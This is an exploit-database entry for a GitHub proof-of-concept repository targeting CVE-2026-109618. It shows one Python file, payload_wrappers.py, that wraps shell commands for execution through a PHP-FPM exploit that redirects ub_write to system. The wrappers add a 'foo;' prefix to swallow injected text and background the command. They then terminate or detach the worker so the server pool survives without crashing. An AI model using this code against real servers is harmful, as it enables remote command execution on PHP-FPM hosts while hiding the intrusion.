Exploit database

GH-53b87ac273ac401ba310c4272b31e888

joshrob297/php2shell-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files16
joshrob297/php2shell-researchRevision a31b2a2daaa2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/exploit/payload_wrappers.py

Python · 1,476 bytes
#!/usr/bin/env python3
"""payload_wrappers.py - Envoltorios de payloads para terminacion limpia y desacoplamiento en PHP-FPM."""

from __future__ import annotations

import re


def wrap_fpm_command(cmd: str, exit_strategy: str = "term") -> str:
    """Envuelve un comando de shell para ejecucion segura bajo sapi_module.ub_write = &system.

    Estrategias:
      - 'term': Ejecuta el comando en background y envia SIGTERM al worker actual
                para que el master de FPM lo reemplace limpiamente sin corromper el pool.
      - 'kill': Envia SIGKILL ($$) inmediato post-ejecucion.
      - 'disown': Desvincula stdout/stderr/stdin con nohup/subshell para evitar hangs en el socket FastCGI.
      - 'none': Mantiene el comando crudo sin envoltura.
    """
    cmd = cmd.strip()
    if exit_strategy == "none":
        return cmd

    # Sanitizar prefijo si ya contiene prefijo de asignacion
    if cmd.startswith("read="):
        cmd = cmd[5:].strip()

    # Sanitizar comillas y caracteres nulos
    cmd = cmd.replace("\x00", "")

    if exit_strategy == "term":
        # Prefijo dummy 'foo;' para absorber el string 'read=' que antepone el script de echo
        return f"foo; ({cmd}; kill -TERM $$) >/dev/null 2>&1 &"
    elif exit_strategy == "kill":
        return f"foo; ({cmd}; kill -9 $$) >/dev/null 2>&1 &"
    elif exit_strategy == "disown":
        return f"foo; (nohup sh -c '{cmd}' >/dev/null 2>&1 &)"
    
    return f"foo; ({cmd}) >/dev/null 2>&1 &"